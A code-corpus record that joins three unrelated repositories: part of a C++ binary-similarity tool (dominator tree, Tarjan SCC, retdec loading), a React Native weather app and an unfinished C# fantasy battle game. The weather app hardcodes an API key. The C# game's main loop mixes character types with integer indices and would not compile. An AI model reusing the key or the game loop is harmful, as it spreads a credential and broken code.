class Config;
extern std::unique_ptr<Config> config;
class Config {
public:
explicit Config(const std::string &path);
public:
StructuralWeights structural_weights;
private:
void Parse(const std::string &path);
std::size_t GetValue(const rapidjson::Value &element, const std::string &name) const;
void ParseStructuralWeights(const rapidjson::Document &document);
};
}<file_sep>#pragma once
#include <memory>
#include <string>
#include "Program.hpp"
namespace crossmatch
{
class Crossmatch {
public:
Crossmatch();
void LoadProgram(const std::string &path);
private:
std::unique_ptr<Program> m_program{nullptr};
};
}<file_sep>#include "Config.hpp"
#include "Utility.hpp"
#include "Log.hpp"
namespace crossmatch
{
std::unique_ptr<Config> config{nullptr};
Config::Config(const std::string &path)
{
Parse(path);
}
void Config::Parse(const std::string &path)
{
if(auto data = utility::ReadFileContent(path); data.has_value())
{
rapidjson::Document json;
json.Parse(data.value().c_str());
ParseStructuralWeights(json);
}
}
std::size_t Config::GetValue(const rapidjson::Value &element, const std::string &name) const
{
if(auto element_name = name.c_str(); element.HasMember(element_name) && element[element_name].IsNumber())
{
return element[element_name].GetUint();
}
else
{
log->error("[Config::GetValue] No element named: '%s'", name.c_str());
return 0;
}
}
void Config::ParseStructuralWeights(const rapidjson::Document &document)
{
if(document.HasMember("structural_weights"))
{
auto &sw = document["structural_weights"];
structural_weights.bb_count = GetValue(sw, "bb_count");
structural_weights.entry_points = GetValue(sw, "entry_points");
structural_weights.exit_points = GetValue(sw, "exit_points");
structural_weights.inlinks = GetValue(sw, "inlinks");
structural_weights.unique_inlinks = GetValue(sw, "unique_inlinks");
structural_weights.outlinks = GetValue(sw, "outlinks");
structural_weights.unique_outlinks = GetValue(sw, "unique_outlinks");
structural_weights.loops = GetValue(sw, "loops");
structural_weights.forward_edges = GetValue(sw, "forward_edges");
structural_weights.cross_edges = GetValue(sw, "cross_edges");
structural_weights.back_edges = GetValue(sw, "back_edges");
structural_weights.basis_edges = GetValue(sw, "basis_edges");
structural_weights.cfg_bitsig = GetValue(sw, "cfg_bitsig");
structural_weights.folded_cfg_bitsig = GetValue(sw, "folded_cfg_bitsig");
structural_weights.dom_bitsig = GetValue(sw, "dom_bitsig");
structural_weights.folded_dom_bitsig = GetValue(sw, "folded_dom_bitsig");
structural_weights.cyc_complexity = GetValue(sw, "cyc_complexity");
structural_weights.callgraph_depth = GetValue(sw, "callgraph_depth");
structural_weights.callgraph_dom_depth = GetValue(sw, "callgraph_dom_depth");
}
else
{
log->error("[Config::ParseStructuralWeights] No 'structural_weights' in configuration file");
}
}
}<file_sep>#include "Program.hpp"
#include "Log.hpp"
#include "StructuralAnalysis.hpp"
#include <retdec/retdec/retdec.h>
namespace crossmatch
{
Program::Program(const std::string &path)
: m_program_path{path}
{
this->Load(path);
}
void Program::Load(const std::string &path)
{
log->info("[Program::Load] Loading program: %s", path.c_str());
auto llvm = retdec::disassemble(path, nullptr);
auto &functions = llvm.module->getFunctionList();
log->info("[Program::Load] Functions found: %d", functions.size());
llvm::CallGraph callgraph = llvm::CallGraph(*llvm.module);
StructuralPass(functions, callgraph);
SemanticPass(functions);
}
void Program::StructuralPass(const llvm::Module::FunctionListType &functions, llvm::CallGraph &callgraph)
{
log->info("[Program::StructuralPass] Start");
StructuralAnalysis sa;
for(const auto &f : functions)
{
sa.Analyze(*this, f, callgraph);
}
}
void Program::SemanticPass(const llvm::Module::FunctionListType &functions)
{
log->info("[Program::SemanticPass] Start");
(void)functions;
}
}<file_sep>#pragma once
#include "Graph.hpp"
namespace crossmatch
{
class Tarjan {
public:
using Components = std::vector<Addr>;
explicit Tarjan(Graph &graph);
std::vector<Components> GetSCC();
private:
void Visit(std::vector<Components> &result, const Addr &vertex);
private:
Graph &m_graph;
std::map<Addr, std::size_t> m_low;
std::vector<Addr> m_stack;
};
}<file_sep>#include "Dominator.hpp"
namespace crossmatch
{
Dominator::Dominator(Graph &graph, const Addr &vertex)
: m_graph{graph}
{
Algorithm(vertex);
}
void Dominator::Algorithm(const Addr &vertex)
{
for(const auto &p : m_graph)
{
m_semi[p.first] = 0;
m_pred.insert({p.first, std::set<Addr>{}});
m_bucket.insert({p.first, std::set<Addr>{}});
}
DepthFirstSearch(vertex);
for(std::size_t i = m_N; i>= 2; i--)
{
const auto w = m_vertex[i];
for(auto v : m_pred[w])
{
m_semi[w] = std::min(m_semi[Evaluate(v)], m_semi[w]);
}
m_bucket[m_vertex[m_semi[w]]].insert(w);
Link(m_parent[w], w);
auto new_bucket = m_bucket[m_parent[w]];
for(auto v : m_bucket[m_parent[w]])
{
new_bucket.erase(v);
const auto u = Evaluate(v);
m_dom[v] = m_semi[u] < m_semi[v] ? u : m_parent[w];
}
m_bucket[m_parent[w]] = std::move(new_bucket);
}
for(std::size_t i = 2; i < m_N; ++i)
{
if(const auto w = m_vertex[i]; m_dom[w] != m_vertex[m_semi[w]])
{
m_dom[w] = m_dom[m_dom[w]];
}
}
}
void Dominator::DepthFirstSearch(const Addr &vertex)
{
m_semi[vertex] = ++m_N;
m_vertex[m_N] = vertex;
m_label[vertex] = vertex;
m_ancestor[vertex] = 0;
for(const auto &v : m_graph[vertex])
{
if(m_semi[v] == 0)
{
m_parent[v] = vertex;
DepthFirstSearch(v);
}
m_pred[v].insert(vertex);
}
}
Addr Dominator::Evaluate(const Addr &vertex)
{
if(!m_ancestor[vertex])
{
return vertex;
}
else
{
Compress(vertex);
return m_label[vertex];
}
}
void Dominator::Compress(const Addr &vertex)
{
if(!m_ancestor[m_ancestor[vertex]])
{
return;
}
Compress(m_ancestor[vertex]);
if(m_semi[m_label[m_ancestor[vertex]]] < m_semi[m_label[vertex]])
{
m_label[vertex] = m_label[m_ancestor[vertex]];
}
m_ancestor[vertex] = m_ancestor[m_ancestor[vertex]];
}
void Dominator::Link(const Addr &vertex_a, const Addr &vertex_b)
{
m_ancestor[vertex_b] = vertex_a;
}
Graph Dominator::BuildTree() const
{
Graph tree;
for(const auto &p : m_dom)
{
tree.AddVertex(p.first);
tree.AddEdge(p.second, p.first);
}
return tree;
}
}<file_sep>#include "Tarjan.hpp"
namespace crossmatch
{
Tarjan::Tarjan(Graph &graph)
: m_graph{graph}
{
}
std::vector<Tarjan::Components> Tarjan::GetSCC()
{
std::vector<Components> result;
for(const auto &p : m_graph)
{
Visit(result, p.first);
}
return result;
}
void Tarjan::Visit(std::vector<Components> &result, const Addr &vertex)
{
if(m_low.count(vertex))
{
return;
}
if(!m_graph.HasVertex(vertex))
{
m_graph.AddVertex(vertex);
}
auto num = m_low.size();
m_low[vertex] = num;
auto stack_pos = m_stack.size();
m_stack.push_back(vertex);
for(auto succ : m_graph[vertex])
{
Visit(result, succ);
m_low[vertex] = std::min(m_low[vertex], m_low[succ]);
}
if(num == m_low[vertex])
{
Components component(m_stack.begin() + stack_pos, m_stack.end());
m_stack.erase(m_stack.begin() + stack_pos, m_stack.end());
result.push_back(component);
for(const auto &item : component)
{
m_low[item] = m_graph.size();
}
}
}
}<file_sep>#include "Utility.hpp"
#include <fstream>
#include <sstream>
namespace crossmatch::utility
{
std::optional<std::string> ReadFileContent(const std::string &path)
{
std::string data{""};
if(std::ifstream file(path); file.is_open())
{
std::ostringstream oss;
oss << file.rdbuf();
data = oss.str();
return data;
}
else
{
return std::nullopt;
}
}
}
|
7bf251161917c58edae5c0712f40b19b17e233fb
|
[
"CMake",
"C++",
"Dockerfile"
] | 24
|
CMake
|
palowashere/crossmatch
|
62dfb10351d86bbb3b3bf39526aaf9f7bc879132
|
ef85b745969234f9ea9c8d6c3cae949923311bc9
|
refs/heads/master
|
<file_sep>import React, { Component } from 'react'
import {
View,
Text,
ScrollView,
StyleSheet
} from 'react-native';
import WeatherCard from './WeatherCard'
class Places extends Component{
constructor(props){
super(props);
this.state={
places:props.places
}
}
componentWillReceiveProps(newProps){
this.setState({
places:newProps.places
})
}
render(){
return(
<ScrollView contentContainerStyle={styles.container}>
{
this.state.places.map((place,index)=>{
return <WeatherCard key={index} place={place}/>
})
}
</ScrollView>
)
}
}
var styles=StyleSheet.create({
container:{
flex:1,
marginTop:10
}
})
export default Places;<file_sep>import React, { Component } from 'react'
import {
View,
Text,
TextInput,
TouchableHighlight,
StyleSheet
} from 'react-native';
class Zipcode extends Component{
constructor(){
super();
this.state={
zipCode:''
}
}
onZipcodeChange=(text)=>{
this.setState({
zipCode:text
})
}
onFind=()=>{
this.props.onFind(this.state.zipCode)
}
render(){
return(
<View style={styles.container}>
<Text style={styles.heading}>Zipcode</Text>
<TextInput style={styles.input} onChangeText={this.onZipcodeChange}></TextInput>
<TouchableHighlight style={styles.button} onPress={this.onFind}>
<Text>Find</Text>
</TouchableHighlight>
</View>
)
}
}
var styles=StyleSheet.create({
container:{
flex:1,
alignItems:"center",
marginTop:116
},
heading:{
color:"white",
fontSize:40,
marginBottom:5
},
input:{
height:40,
borderColor:"white",
borderWidth:1,
width:"60%",
color:"white",
fontSize:25
},
button:{
alignItems: 'center',
backgroundColor: '#DDDDDD',
padding: 10,
width:50,
marginTop:16
}
})
export default Zipcode;<file_sep>import React, { Component } from 'react'
import {
View,
Text,
StyleSheet
} from 'react-native';
import Zipcode from '../components/Zipcode';
import Places from '../components/Places'
class WeatherNow extends Component {
constructor() {
super();
this.state = {
places: []
}
}
onFind = (zipCode) => {
console.log(zipCode);
this.getWeatherInfo(zipCode);
}
getWeatherInfo = (zipCode) => {
let url = `http://api.openweathermap.org/data/2.5/weather?zip=${zipCode},us&appid=6644e680d2025e3820e93d0f13adb2ff`;
fetch(url)
.then(response => response.json())
.then(weatherInfo => {
console.log("Weather for new zipcode:" + zipCode + " is " + JSON.stringify(weatherInfo))
if (weatherInfo) {
let tempFarnheit = Math.round(9 / 5 * (weatherInfo.main.temp - 273) + 32);
this.setState({
places: [
...this.state.places,
{
area: weatherInfo.name,
description: weatherInfo.weather[0].description,
temparature: tempFarnheit
}]
})
}
})
.catch((err) => {
console.log("failed to get weather" + JSON.stringify(err))
})
}
render() {
return (
<View style={styles.container}>
<View style={styles.zipCodeView}>
<Zipcode onFind={this.onFind} />
</View>
<View style={styles.placesView}>
<Places places={this.state.places}/>
</View>
</View>
)
}
}
var styles = StyleSheet.create({
container: {
flex: 3,
backgroundColor: "#EA4C89",
width: "100%"
},
zipCodeView:{
flex:1
},
placesView:{
flex:2
}
})
export default WeatherNow;
|
389dccaa54eb9b9bde066a99dbe4a02147dd5ac8
|
[
"JavaScript"
] | 3
|
JavaScript
|
Sradhanjali170494/WeatherApp
|
25b4d6362586c4a7a63d4e3e52a733d74316ac0b
|
d5af08cc3adaaccef53d27bc83bee29dfc2cb46d
|
refs/heads/master
|
<repo_name>sblasa/magic_game<file_sep>/MagicConquerers/PlayersInfo.cs
namespace MagicConquerers
{
public class PlayersInfo
{
private static string playersInfoDirectory = "";
private static string[,] fullInfo;
private static int[] scores;
private static int[] levels;
static PlayersInfo()
{
}
public static void Save()
{
}
public static void UpdateFullInfo()
{
}
public static void RetrieveFullInfo()
{
}
public static void PrintFullInfo()
{
}
public static void EraseFullInfo()
{
}
public static void UpdateScores()
{
}
public static void RetrieveScores()
{
}
public static void PrintScores()
{
}
public static void EraseScores()
{
}
public static void UpdateLevels()
{
}
public static void RetrieveLevels()
{
}
public static void PrintLevels()
{
}
public static void EraseLevels()
{
}
}
}
<file_sep>/MagicConquerers/Enums/Faction.cs
namespace MagicConquerers.Enums
{
public enum Faction
{
Spellcaster,
Melee
}
}
<file_sep>/MagicConquerers/Characters/Character.cs
using MagicConquerers.Characters.Interfaces;
using MagicConquerers.Enums;
using MagicConquerers.Equipment.Armors;
using MagicConquerers.Equipment.Weapons;
using System;
namespace MagicConquerers.Characters
{
public abstract class Character : IAttack, IDefend
{
private Faction faction;
private int healthPoints;
private string name;
private int level;
private Armor bodyArmor;
private Weapon weapon;
private bool isAlive;
private int scores;
public Faction Faction
{
get
{
return this.faction;
}
set
{
this.faction = value;
}
}
public bool IsAlive
{
get
{
return this.isAlive;
}
set
{
isAlive = value;
}
}
public int Scores
{
get
{
return this.scores;
}
set
{
this.scores = value;
}
}
public string Name
{
get
{
return this.name;
}
set
{
if (value.Length > 3 && value.Length <= 12)
{
this.name = value;
}
else
{
throw new ArgumentException(string.Empty, "Name length should be between 3 and 12 characters");
}
}
}
public int Level
{
get
{
return this.level;
}
set
{
if (value >= 1)
{
this.level = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "This value needs to be greater or equal to 0.");
}
}
}
public int HealthPoints
{
get
{
return this.healthPoints;
}
set
{
if (value >= 0)
{
this.healthPoints = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "This value needs to be greater than or equal to 0.");
}
}
}
public Armor BodyArmor
{
get
{
return this.bodyArmor;
}
set
{
this.bodyArmor = value;
}
}
public Weapon Weapon
{
get
{
return this.weapon;
}
set
{
this.weapon = value;
}
}
public abstract int Attack();
public abstract int Defend();
public abstract int SpecialAttack();
public void TakeDamage(int damage, string attackerName)
{
if (this.Defend() < damage)
{
this.healthPoints = this.healthPoints - damage + Defend();
if(this.healthPoints <= 0)
{
this.IsAlive = false;
}
}
else
{
Console.WriteLine("Not enough damage to this character!");
}
if (!this.isAlive)
{
Console.WriteLine($"{this.name} received {damage} damage from {attackerName} damage, and is now dead!");
}
else
{
Console.WriteLine($"{this.name} received {damage} damage from {attackerName} damage, and now has {this.healthPoints} health points!");
}
}
public void WonBattle()
{
this.scores++;
if (this.scores % 10 == 0)
{
this.level++;
}
}
}
}
<file_sep>/MagicConquerers/Equipment/Weapons/Sharp/Sharp.cs
using System;
namespace MagicConquerers.Equipment.Weapons.Sharp
{
public abstract class Sharp : Weapon
{
}
}
<file_sep>/MagicConquerers/Equipment/Weapons/Weapon.cs
using Equipment.Interfaces;
using System;
namespace MagicConquerers.Equipment.Weapons
{
public abstract class Weapon : IRestore
{
//field
private int damagePoints;
public int DamagePoints
{
get
{
return damagePoints;
}
set
{
if (value >= 0)
{
this.damagePoints = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "Damage points should be a positive number.");
}
}
}
public abstract void Mend();
public abstract void Rebuild();
}
}
<file_sep>/MagicConquerers/Equipment/Interfaces/IRestore.cs
using System;
namespace Equipment.Interfaces
{
public interface IRestore
{
void Mend();
void Rebuild();
}
}
<file_sep>/MagicConquerers/Equipment/Armors/Armor.cs
using Equipment.Interfaces;
using System;
namespace MagicConquerers.Equipment.Armors
{
public abstract class Armor
{
private int armorPoints;
public int ArmorPoints
{
get
{
return armorPoints;
}
set
{
if (value >= 0)
{
this.armorPoints = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "Armor points must be a positive number.");
}
}
}
}
}
<file_sep>/MagicConquerers/Equipment/Armors/Light/Light.cs
using System;
namespace MagicConquerers.Equipment.Armors.Light
{
public abstract class Light : Armor
{
}
}
<file_sep>/MagicConquerers/Characters/Interfaces/IAttack.cs
using System;
namespace MagicConquerers.Characters.Interfaces
{
public interface IAttack
{
int Attack();
int SpecialAttack();
}
}
<file_sep>/MagicConquerers/Characters/Melee/Melee.cs
using System;
namespace MagicConquerers.Characters.Melee
{
public abstract class Melee : Character
{
private int abilityPoints;
public int AbilityPoints
{
get
{
return this.abilityPoints;
}
set
{
if (value >= 0 && value <= 300)
{
this.abilityPoints = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "Inappropriate value, the value should be >= 0 and <= 10.");
}
}
}
}
}
<file_sep>/MagicConquerers/EnterHere.cs
using MagicConquerers.Characters;
using MagicConquerers.Characters.Melee;
using MagicConquerers.Characters.Spellcasters;
using System;
using System.Collections.Generic;
namespace MagicConquerers
{
class EnterHere
{
static void Main()
{
Random rng = new Random();
bool gameOver = false;
Melee currentMelee;
Spellcaster currentSpellcaster;
List<Character> characters = new List<Character>()
{
new Warrior(),
new Warrior(),
//new Knight(),
//new Assassin(),
//new Druid(),
new Mage(),
//new Necromancer()
};
List<Melee> meleeTeam = new List<Melee>();
List<Spellcaster> spellcastersTeam = new List<Spellcaster>();
foreach (var character in characters)
{
if(character is Melee)
{
meleeTeam.Add((Melee)character);
}
else if(character is Spellcaster)
{
spellcastersTeam.Add((Spellcaster)character);
}
}
while(!gameOver)
{
currentMelee = meleeTeam[rng.Next(0, meleeTeam.Count)];
currentSpellcaster = rng.Next(0, spellcastersTeam.Count);
spellcastersTeam[currentSpellcaster].TakeDamage(meleeTeam[currentMelee].Attack(), meleeTeam[currentMelee].Name);
if (!spellcastersTeam[currentSpellcaster].IsAlive)
{
meleeTeam[currentMelee].WonBattle();
spellcastersTeam.Remove(spellcastersTeam[currentSpellcaster]);
if (spellcastersTeam.Count == 0)
{
Console.WriteLine("Melee team wins!");
break;
}
else
{
currentSpellcaster = rng.Next(0, spellcastersTeam.Count);
}
}
meleeTeam[currentMelee].TakeDamage(spellcastersTeam[currentSpellcaster].Attack(), spellcastersTeam[currentSpellcaster].Name);
if (!meleeTeam[currentMelee].IsAlive)
{
spellcastersTeam[currentSpellcaster].WonBattle();
meleeTeam.Remove(meleeTeam[currentMelee]);
if (meleeTeam.Count == 0)
{
Console.WriteLine("Spellcaster team wins!");
break;
}
else
{
currentMelee = rng.Next(0, meleeTeam.Count);
}
}
//5. If no characters are alive from either teams, then gameOver = true
}
}
}
}
<file_sep>/MagicConquerers/Consts.cs
using MagicConquerers.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MagicConquerers
{
public static class Consts
{
public static class Warrior {
public const string NAME = "Braveheart";
public const Faction FACTION = Faction.Melee;
public const int LEVEL = 1;
public const int ABILITY_POINTS = 200;
public const int HEALTH_POINTS = 115;
}
public static class Mage {
public const string NAME = "Isabella";
public const Faction FACTION = Faction.Spellcaster;
public const int LEVEL = 2;
public const int MANA_POINTS = 180;
public const int HEALTH_POINTS = 160;
public const int ABILITY_POINTS = 100;
}
}
}
<file_sep>/MagicConquerers/Characters/Spellcasters/Druid.cs
//using System;
//using MagicConquerers.Enums;
//using MagicConquerers.Equipment.Armors.Leather;
//using MagicConquerers.Equipment.Weapons.Blunt;
//namespace MagicConquerers.Characters.Spellcasters
//{
// public class Druid : Spellcaster
// {
// private const string DEFAULT_NAME = "Artemis";
// private const Faction DEFAULT_FACTION = Faction.Spellcaster;
// private const int DEFAULT_LEVEL = 3;
// private const int DEFAULT_MANA_POINTS = 220;
// private const int DEFAULT_HEALTH_POINTS = 140;
// private readonly LightLeatherVest DEFAULT_BODY_ARMOR = new LightLeatherVest();
// private readonly Staff DEFAULT_WEAPON = new Staff();
// public Druid()
// :this(DEFAULT_NAME, 1)
// {
// }
// public Druid(string name, int level)
// : this(name, level, DEFAULT_HEALTH_POINTS)
// {
// }
// public Druid(string name, int level, int healthPoints)
// {
// base.Name = name;
// base.Level = level;
// base.HealthPoints = healthPoints;
// base.Faction = DEFAULT_FACTION;
// base.ManaPoints = DEFAULT_MANA_POINTS;
// base.Weapon = DEFAULT_WEAPON;
// base.BodyArmor = DEFAULT_BODY_ARMOR;
// }
// public void Moonfire()
// {
// throw new NotImplementedException();
// }
// public void Starburst()
// {
// throw new NotImplementedException();
// }
// public void OneWithTheNature()
// {
// throw new NotImplementedException();
// }
// public override void Attack()
// {
// throw new NotImplementedException();
// }
// public override void Defend()
// {
// throw new NotImplementedException();
// }
// public override void SpecialAttack()
// {
// throw new NotImplementedException();
// }
// }
//}
<file_sep>/MagicConquerers/Characters/Melee/Assassin.cs
//using System;
//using MagicConquerers.Enums;
//using MagicConquerers.Equipment.Armors.Leather;
//using MagicConquerers.Equipment.Weapons.Sharp;
//namespace MagicConquerers.Characters.Melee
//{
// public class Assassin : Melee
// {
// private const string DEFAULT_NAME = "Nakita";
// private const Faction DEFAULT_FACTION = Faction.Melee;
// private const int DEFAULT_LEVEL = 2;
// private const int DEFAULT_ABILITY_POINTS = 215;
// private const int DEFAULT_HEALTH_POINTS = 150;
// private readonly LightLeatherVest DEFAULT_BODY_ARMOR = new LightLeatherVest();
// private readonly Sword DEFAULT_WEAPON = new Sword();
// public Assassin()
// :this(DEFAULT_NAME, 1)
// {
// }
// public Assassin(string name, int level)
// :this(name, level, DEFAULT_HEALTH_POINTS)
// {
// this.Name = name;
// this.Level = level;
// }
// public Assassin(string name, int level, int healthPoints)
// {
// base.Name = name;
// base.Level = level;
// base.HealthPoints = healthPoints;
// base.Faction = DEFAULT_FACTION;
// this.AbilityPoints = DEFAULT_HEALTH_POINTS;
// base.Weapon = DEFAULT_WEAPON;
// base.BodyArmor = DEFAULT_BODY_ARMOR;
// }
// public void Raze()
// {
// throw new NotImplementedException();
// }
// public void BleedToDeath()
// {
// throw new NotImplementedException();
// }
// public void Survival()
// {
// throw new NotImplementedException();
// }
// public override void Attack()
// {
// throw new NotImplementedException();
// }
// public override void Defend()
// {
// throw new NotImplementedException();
// }
// public override void SpecialAttack()
// {
// throw new NotImplementedException();
// }
// }
//}
<file_sep>/MagicConquerers/Characters/Spellcasters/Spellcaster.cs
using System;
namespace MagicConquerers.Characters.Spellcasters
{
public abstract class Spellcaster : Character
{
private int manaPoints;
public int ManaPoints
{
get
{
return this.manaPoints;
}
set
{
if (value >= 0 && value <= 250)
{
this.manaPoints = value;
}
else
{
throw new ArgumentOutOfRangeException(string.Empty, "This value needs to be >= 0 and <= 10");
}
}
}
}
}
<file_sep>/MagicConquerers/Equipment/Armors/Light/ClothRobe.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MagicConquerers.Equipment.Armors.Light
{
public class ClothRobe : Light
{
private const int DEFAULT_AMOR_POINTS = 10;
public ClothRobe()
: this(DEFAULT_AMOR_POINTS)
{
}
public ClothRobe(int armorPoints)
{
this.ArmorPoints = armorPoints;
}
}
}
<file_sep>/MagicConquerers/Characters/Melee/Knight.cs
//using System;
//using MagicConquerers.Enums;
//using MagicConquerers.Equipment.Armors.Heavy;
//using MagicConquerers.Equipment.Weapons.Blunt;
//namespace MagicConquerers.Characters.Melee
//{
// public class Knight : Melee
// {
// private const string DEFAULT_NAME = "<NAME>";
// private const Faction DEFAULT_FACTION = Faction.Melee;
// private const int DEFAULT_LEVEL = 1;
// private const int DEFAULT_ABILITY_POINTS = 210;
// private const int DEFAULT_HEALTH_POINTS = 120;
// private readonly Chainlink DEFAULT_BODY_ARMOR = new Chainlink();
// private readonly Hammer DEFAULT_WEAPON = new Hammer();
// private string name;
// public Knight()
// :this(DEFAULT_NAME, DEFAULT_LEVEL)
// {
// }
// public Knight(string name, int level)
// :this(name, level, DEFAULT_HEALTH_POINTS)
// {
// }
// public Knight(string name, int level, int healthPoints)
// {
// base.Name = name;
// base.Level = level;
// base.HealthPoints = healthPoints;
// base.Faction = DEFAULT_FACTION;
// base.AbilityPoints = DEFAULT_ABILITY_POINTS;
// base.Weapon = DEFAULT_WEAPON;
// base.BodyArmor = DEFAULT_BODY_ARMOR;
// }
// public void HolyBlow()
// {
// throw new NotImplementedException();
// }
// public void PurifySoul()
// {
// throw new NotImplementedException();
// }
// public void RighteousWings()
// {
// throw new NotImplementedException();
// }
// public override void Attack()
// {
// this.HolyBlow();
// }
// public override void Defend()
// {
// this.PurifySoul();
// }
// public override void SpecialAttack()
// {
// this.RighteousWings();
// }
// }
//}
<file_sep>/MagicConquerers/Equipment/Weapons/Sharp/Axe.cs
using System;
namespace MagicConquerers.Equipment.Weapons.Sharp
{
public class Axe : Sharp
{
private const int DEFAULT_DAMAGE_POINTS = 10;
public Axe()
: this(DEFAULT_DAMAGE_POINTS)
{
}
public Axe(int armorPoints)
{
this.DamagePoints = armorPoints;
}
public void HacNSlash()
{
throw new NotImplementedException();
}
public override void Mend()
{
throw new NotImplementedException();
}
public override void Rebuild()
{
throw new NotImplementedException();
}
}
}
<file_sep>/MagicConquerers/Equipment/Armors/Leather/LightLeatherVest.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MagicConquerers.Equipment.Armors.Leather
{
public class LightLeatherVest : Leather
{
private const int DEFAULT_ARMOR_POINTS = 10;
//constructor
public LightLeatherVest()
: this(DEFAULT_ARMOR_POINTS)
{
}
public LightLeatherVest(int armorPoints)
{
this.ArmorPoints = armorPoints;
}
}
}
<file_sep>/MagicConquerers/Characters/Spellcasters/Mage.cs
using System;
using MagicConquerers.Enums;
using MagicConquerers.Equipment.Armors.Light;
using MagicConquerers.Equipment.Weapons.Blunt;
namespace MagicConquerers.Characters.Spellcasters
{
public class Mage : Spellcaster
{
private readonly ClothRobe DEFAULT_BODY_ARMOR = new ClothRobe();
private readonly Staff DEFAULT_WEAPON = new Staff();
public Mage()
: this(Consts.Mage.NAME, 1)
{
}
public Mage(string name, int level)
:this(name, level, Consts.Mage.HEALTH_POINTS)
{
}
public Mage(string name, int level, int healthPoints)
{
base.Name = name;
base.Level = level;
base.HealthPoints = healthPoints;
base.Faction = Consts.Mage.FACTION;
base.ManaPoints = Consts.Mage.MANA_POINTS;
base.Weapon = DEFAULT_WEAPON;
base.BodyArmor = DEFAULT_BODY_ARMOR;
base.IsAlive = true;
base.Scores = 0;
}
public int ArcaneWrath()
{
throw new NotImplementedException();
}
public int Fireball()
{
return base.Weapon.DamagePoints + 10;
}
public int Meditation()
{
return base.BodyArmor.ArmorPoints + 5;
}
public override int Attack()
{
return this.Fireball();
}
public override int Defend()
{
return this.Meditation();
}
public override int SpecialAttack()
{
return this.ArcaneWrath();
}
}
}
<file_sep>/MagicConquerers/Equipment/Armors/Heavy/Chainlink.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MagicConquerers.Equipment.Armors.Heavy
{
public class Chainlink : Armor
{
private const int DEFAULT_ARMOR_POINTS = 10;
public Chainlink()
: this(DEFAULT_ARMOR_POINTS)
{
}
public Chainlink(int armorPoints)
{
this.ArmorPoints = armorPoints;
}
}
}
<file_sep>/MagicConquerers/Characters/Melee/Warrior.cs
using System;
using MagicConquerers.Enums;
using MagicConquerers.Equipment.Armors.Heavy;
using MagicConquerers.Equipment.Weapons.Sharp;
namespace MagicConquerers.Characters.Melee
{
public class Warrior : Melee
{
private readonly Chainlink DEFAULT_BODY_ARMOR = new Chainlink();
private readonly Axe DEFAULT_WEAPON = new Axe();
public Warrior()
:this (Consts.Warrior.NAME, 1)
{
}
public Warrior(string name, int level)
: this(name, level, Consts.Warrior.HEALTH_POINTS)
{
}
public Warrior(string name, int level, int healthPoints)
{
base.Name = Consts.Warrior.NAME;
base.Level = level;
base.HealthPoints = healthPoints;
base.AbilityPoints = Consts.Warrior.ABILITY_POINTS;
base.Weapon = DEFAULT_WEAPON ;
base.BodyArmor = DEFAULT_BODY_ARMOR;
base.Faction = Faction.Melee;
base.IsAlive = true;
base.Scores = 0;
}
public int Strike()
{
return base.Weapon.DamagePoints + 10;
}
public int Execute()
{
throw new NotImplementedException();
}
public int SkinHarden()
{
return base.BodyArmor.ArmorPoints + 5;
}
public override int Attack()
{
return this.Strike();
}
public override int Defend()
{
return this.SkinHarden();
}
public override int SpecialAttack()
{
return this.Execute();
}
}
}
<file_sep>/MagicConquerers/Equipment/Weapons/Blunt/Hammer.cs
using System;
namespace MagicConquerers.Equipment.Weapons.Blunt
{
public class Hammer : Blunt
{
private const int DEFAULT_DAMAGE_POINTS = 10;
//constructor
public Hammer()
: this(DEFAULT_DAMAGE_POINTS)
{
}
public Hammer(int armorPoints)
{
this.DamagePoints = armorPoints;
}
//method
public void Stun()
{
throw new NotImplementedException();
}
public override void Mend()
{
throw new NotImplementedException();
}
public override void Rebuild()
{
throw new NotImplementedException();
}
}
}
<file_sep>/MagicConquerers/Characters/Spellcasters/Necromancer.cs
//using System;
//using MagicConquerers.Enums;
//using MagicConquerers.Equipment.Armors.Leather;
//using MagicConquerers.Equipment.Weapons.Sharp;
//namespace MagicConquerers.Characters.Spellcasters
//{
// public class Necromancer : Spellcaster
// {
// private const string DEFAULT_NAME = "Horace";
// private const Faction DEFAULT_FACTION = Faction.Spellcaster;
// private const int DEFAULT_LEVEL = 1;
// private const int DEFAULT_MANA_POINTS = 180;
// private const int DEFAULT_HEALTH_POINTS = 110;
// private readonly LightLeatherVest DEFAULT_BODY_ARMOR = new LightLeatherVest();
// private readonly Sword DEFAULT_WEAPON = new Sword();
// public Necromancer()
// : this("Autumn", 1)
// {
// }
// public Necromancer(string name, int level)
// : this(name, level, DEFAULT_HEALTH_POINTS)
// {
// }
// public Necromancer(string name, int level, int healthPoints)
// {
// base.Name = name;
// base.Level = level;
// base.HealthPoints = healthPoints;
// base.Faction = DEFAULT_FACTION;
// base.ManaPoints = DEFAULT_MANA_POINTS;
// base.Weapon = DEFAULT_WEAPON;
// base.BodyArmor = DEFAULT_BODY_ARMOR;
// }
// public void ShadowRage()
// {
// throw new NotImplementedException();
// }
// public void VampireTouch()
// {
// throw new NotImplementedException();
// }
// public void BoneShield()
// {
// throw new NotImplementedException();
// }
// public override void Attack()
// {
// throw new NotImplementedException();
// }
// public override void Defend()
// {
// throw new NotImplementedException();
// }
// public override void SpecialAttack()
// {
// throw new NotImplementedException();
// }
// }
//}
<file_sep>/MagicConquerers/Equipment/Weapons/Sharp/Sword.cs
using System;
namespace MagicConquerers.Equipment.Weapons.Sharp
{
public class Sword : Sharp
{
private const int DEFAULT_DAMAGE_POINTS = 10;
//constructor
public Sword()
: this(DEFAULT_DAMAGE_POINTS)
{
}
public Sword(int armorPoints)
{
this.DamagePoints = armorPoints;
}
//method
public void Bloodthirst()
{
throw new NotImplementedException();
}
public override void Mend()
{
throw new NotImplementedException();
}
public override void Rebuild()
{
throw new NotImplementedException();
}
}
}
<file_sep>/MagicConquerers/Equipment/Weapons/Blunt/Blunt.cs
using System;
namespace MagicConquerers.Equipment.Weapons.Blunt
{
public abstract class Blunt : Weapon
{
}
}
